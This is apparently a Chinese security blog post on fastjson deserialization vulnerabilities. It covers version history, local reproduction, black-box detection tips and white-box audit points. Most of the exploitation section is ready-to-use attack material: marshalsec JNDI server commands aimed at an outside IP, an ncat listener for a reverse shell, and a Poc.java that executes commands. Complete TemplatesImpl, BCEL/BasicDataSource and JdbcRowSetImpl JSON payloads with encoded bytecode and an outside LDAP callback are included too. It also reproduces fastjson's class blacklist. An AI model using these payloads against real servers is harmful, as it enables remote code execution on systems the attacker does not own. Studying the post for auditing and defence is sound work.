Keyi 的日常 


fastjson黑盒测试与白盒审计


简介与漏洞史

文章首发先知

java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,
fastjson是阿里巴巴一个开源的json相关的java library,
地址在这里,https://github.com/alibaba/fastjson,
Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,
它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象.

fastjson漏洞历史

fastjson-1.2.24
(fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)
fastjson-1.248以下
(从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)
fastjson-1.2.60以下
(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)

漏洞复现

本地测试环境


本地的版本java版本为1.8.0_181
fastjson版本为1.2.24
tomcat 版本为 7

然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

安全版本
JDK( 8u121, 7u131, 6u141 )
RMI(JDK 6u132, 7u122, or 8u113 )

fastjson两种利用方式 - 出网或者不能出网

1.服务器出网
使用jndi注入
-ldap -rmi
** 2.服务器不能出网**
直接本地反序列化
-BasicDataSource(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)
-TemplatesImpl

出网

jndi利用,其中分为rmi或者ldap,使用ldap限制比rmi小

1
2
3
4
5
6
7
8
rmi利用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Poc" 9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://40.73.6.221:8080/#Poc" 9999

python -m SimpleHTTPServer 80
ncat –lvvp 9998
Burp发送poc

图三是获取shell

不能出网

1.直接反序列化-_bytecodes直接反序列化Poc

JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法而大部分的开发可能用用JSON.parse(input)就了事儿了,同时使用了parseObject和Feature.SupportNonPublicField设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求

利用代码如下:

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["poc.class_base64"],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

具体Poc.java代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {
public Poc() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

首先编译poc得到字节码,然后用pyhton进行编码生成byte后的代码

1
2
3
4
5
6
7
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en1.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

Poc1.class进行base64并且要替换换行'\n', 后代码如下

1
yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALcG9jMTExLmphdmEMAAgACQcAIQwAIgAjAQAMdG91Y2ggL3RtcC8xDAAkACUBAAZQb2MxMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAEAAAAJuwAFWbcABlexAAAAAQALAAAACgACAAAAFAAIABUADAAAAAQAAQAUAAEAFQAAAAIAFg==

最终poc

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

关键调用链如下

命令执行如下

2.直接反序列化-dbcp
依赖
commons-dbcp.jar
org.apache.commons.dbcp.BasicDataSource
Spring在第三方依赖包中包含了两个数据源的实现类包,其一是Apache的DBCP.

依赖tomcat-dbcp.jar(tomcat部署自带)
org.apache.tomcat.dbcp.dbcp.BasicDataSource

运行Poc1得到

1
$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$adR$ddj$TA$Y$3d$93$a4$d9d$bbmMc$5bS$ffZ$b5$9az$d1A$f0F$ob$b1$8a$85$d4$96$s$u$d2$ab$c9fLGvg$c2$ecD$82$P$e4$bd7V$U$7c$A$lJ$fcv$8dI$c0$80$V$dce$e6$9b9$7b$ce$f7$bb$df$7f$7c$f9$G$e0$3en$fb$f0$b0$e6$e3$Sj$r$ac$a7$f6$b2$87$x$3e$e6$b0$e6$e1$wC$f1$a1$d2$ca$3db$c8$d7$b7_2$U$9e$98$aedXj$w$z_$M$e2$8e$b4m$d1$89$I$f1$9f$OC$d9w$ca$e8$c4$c35$86$b2$b3B$to$8c$8d$Z$3e$d4$9b$a1$89y2$d0$dc$d8$k$X$7d$R$9eJ$3e$U$91$d0$5ci$t$ad$W$R$l$s$91$L$f9$de$e1Ac$s9$8e$s$d4$ae$8b$f9$5e$fb$60w$a8$92$7d$82$843$f6$ef$a2DZ$r$o$f5$5eZ$de$g$jE$9a$ees$a1$bb$91$b4$8d$b4$3a$fbo$89$9e$fc$87$a0$k$aeSWc$a14$c3j$fd$a4$f9V$bc$T$9c$e2$f5x$cbY$a5$7b$Ze$83$fa$db2$D$h$cag$wmv$e9$c8$84$3b$v3$40$Je$P$9b$Bn$e0$sC$e0$cc$m$3c$dd$e0$$$ee$f3$7b$Bna$8b$e6F$5c$86$c7$e7$ad$cb$O$b4S$b1$e4$bb$9d$84$s$Y$bav$3a$c6H$3a$86j$96$9a2$7c$ffp$3ck$86$H$e7u$fc$db$d1$94$b6$3a$vv$K$adL$d0$e3_$c9P$f5$3d$e9$c6$97$95$fav$f3$PN$83$ba$u$87$92J$bdS$9f$d1$c4$v$e8$c8$9aP$sI$D$9b$f4$93$7bH$9f$CX$daH$e4$e0$d3m$87$y$p$bbx$f7$M$ec3r$cb$f9O$u$bc$faH$I$c3$7c$8a$pO$fb$3c$a9$C$y$d0$h$8c$3c$y$d0Z$c4$S$ed$a9$97Z$86$92f$o$yfn$x$Z$ed$c2$uXJ$cb$cf$a2$ad$8e$fdV$u$b3eTG$82$z$b29$b2$e5$af$98$7b$7d$86bs$o$f4$b3$P5$we$7d$y$beHk$85$ce9$ac$fe$E$i$98$ab$f0$f4$D$A$A

最终poc

1
2
3
{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}

{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}

黑白盒测试方法

利用链及版本

Payload PayloadType Dependencies
BasicDataSource local tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
JdbcRowSetImpl jndi Fastjson 1.2.47及以下
TemplatesImp local need Feature.SupportNonPublicField

黑盒测试

1.目标站点如果报错的话一般使用不闭合{花括号或者多添加"双引号来进行测试

2.fastjson与jackson区别,如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
这里 fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能 少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显

3.dos检测 dos
{"a:"\x 看返回时间

4.如果是json字符串中name字段存在反序列化
{"id":"1","name":"wangwei"}那么poc就是
{"id":"1","name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fatjaon.tuq75v.ceye.io","autoCommit":true}}

小tips
1.在测试过程中发现只要回显比较慢,或者感觉卡顿都有可能是正在执行命令,所以比较慢
2.poc.java文件用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6

白盒审计函数

1.查看fastjson jar包是否小于1.2.48
2.审查以下函数
JSON.parseObject()
JSONObject.parseObject()
JSON.parseAarry()

黑名单

config.checkAutoType(typeName)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5

参考

1
2
3
4
5
6
https://github.com/c0ny1/FastjsonExploit
https://github.com/shengqi158/fastjson-remote-code-execute-poc
https://www.cnblogs.com/hac425/p/9800288.html
https://blog.csdn.net/yaofeino1/article/details/76377080
https://blog.riskivy.com/无损检测fastjson-dos漏洞以及盲区分fastjson与jackson组件/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html





© - 无尾熊 - 2019 - 2021 - Powered by hexo